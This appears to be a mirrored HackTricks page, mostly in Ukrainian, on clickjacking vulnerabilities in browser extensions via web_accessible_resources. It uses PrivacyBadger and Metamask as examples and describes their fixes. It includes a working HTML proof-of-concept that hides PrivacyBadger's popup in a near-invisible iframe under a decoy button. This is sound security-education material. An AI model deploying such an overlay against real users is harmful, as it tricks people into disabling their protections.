mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
98 lines
6.8 KiB
Markdown
98 lines
6.8 KiB
Markdown
# BrowExt - ClickJacking
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Основна інформація
|
||
|
||
Ця сторінка буде використовувати вразливість ClickJacking у розширенні браузера.\
|
||
Якщо ви не знаєте, що таке ClickJacking, перевірте:
|
||
|
||
{{#ref}}
|
||
../clickjacking.md
|
||
{{#endref}}
|
||
|
||
Розширення містить файл **`manifest.json`** і цей JSON файл має поле `web_accessible_resources`. Ось що кажуть [документи Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources):
|
||
|
||
> Ці ресурси будуть доступні на веб-сторінці через URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, який можна згенерувати за допомогою **`extension.getURL method`**. Ресурси, що знаходяться в білому списку, подаються з відповідними заголовками CORS, тому вони доступні через механізми, такі як XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||
|
||
**`web_accessible_resources`** у розширенні браузера доступні не лише через веб; вони також працюють з вбудованими привілеями розширення. Це означає, що вони мають можливість:
|
||
|
||
- Змінювати стан розширення
|
||
- Завантажувати додаткові ресурси
|
||
- Взаємодіяти з браузером до певної міри
|
||
|
||
Однак ця функція представляє собою ризик безпеки. Якщо ресурс у **`web_accessible_resources`** має будь-яку значну функціональність, зловмисник може потенційно вбудувати цей ресурс у зовнішню веб-сторінку. Непідозрюючі користувачі, які відвідують цю сторінку, можуть ненавмисно активувати цей вбудований ресурс. Така активація може призвести до непередбачуваних наслідків, залежно від дозволів і можливостей ресурсів розширення.
|
||
|
||
## Приклад PrivacyBadger
|
||
|
||
У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія `skin/` була оголошена як `web_accessible_resources` наступним чином (перевірте оригінальний [блог-пост](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
|
||
```json
|
||
"web_accessible_resources": [
|
||
"skin/*",
|
||
"icons/*"
|
||
]
|
||
```
|
||
Ця конфігурація призвела до потенційної проблеми безпеки. Зокрема, файл `skin/popup.html`, який відображається при взаємодії з іконкою PrivacyBadger у браузері, може бути вбудований в `iframe`. Це вбудовування може бути використане для обману користувачів, змушуючи їх випадково натискати на "Вимкнути PrivacyBadger для цього веб-сайту". Така дія порушить конфіденційність користувача, вимкнувши захист PrivacyBadger і потенційно піддаючи користувача підвищеному відстеженню. Візуальну демонстрацію цього експлойту можна переглянути у відео прикладі ClickJacking, наданому за посиланням [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
|
||
|
||
Щоб вирішити цю вразливість, була реалізована проста рішення: видалення `/skin/*` зі списку `web_accessible_resources`. Ця зміна ефективно зменшила ризик, забезпечивши, що вміст каталогу `skin/` не може бути доступний або маніпульований через веб-доступні ресурси.
|
||
|
||
Виправлення було простим: **видалити `/skin/*` з `web_accessible_resources`**.
|
||
|
||
### PoC
|
||
```html
|
||
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
|
||
|
||
<style>
|
||
iframe {
|
||
width: 430px;
|
||
height: 300px;
|
||
opacity: 0.01;
|
||
float: top;
|
||
position: absolute;
|
||
}
|
||
|
||
#stuff {
|
||
float: top;
|
||
position: absolute;
|
||
}
|
||
|
||
button {
|
||
float: top;
|
||
position: absolute;
|
||
top: 168px;
|
||
left: 100px;
|
||
}
|
||
</style>
|
||
|
||
<div id="stuff">
|
||
<h1>Click the button</h1>
|
||
<button id="button">click me</button>
|
||
</div>
|
||
|
||
<iframe
|
||
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
||
</iframe>
|
||
```
|
||
## Metamask Приклад
|
||
|
||
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). У цьому випадку Metamask виправив вразливість, перевіряючи, що протокол, використаний для доступу, був **`https:`** або **`http:`** (не **`chrome:`** наприклад):
|
||
|
||
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Ще один ClickJacking, виправлений** у розширенні Metamask, полягав у тому, що користувачі могли **Click to whitelist**, коли сторінка підозрювалася у фішингу через `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Оскільки ця сторінка була вразливою до Clickjacking, зловмисник міг зловживати цим, показуючи щось нормальне, щоб змусити жертву натиснути для внесення в білий список, не помічаючи цього, а потім повернутися на сторінку фішингу, яка буде внесена в білий список.
|
||
|
||
## Steam Inventory Helper Приклад
|
||
|
||
Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability:
|
||
|
||
{{#ref}}
|
||
browext-xss-example.md
|
||
{{#endref}}
|
||
|
||
## References
|
||
|
||
- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
|
||
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|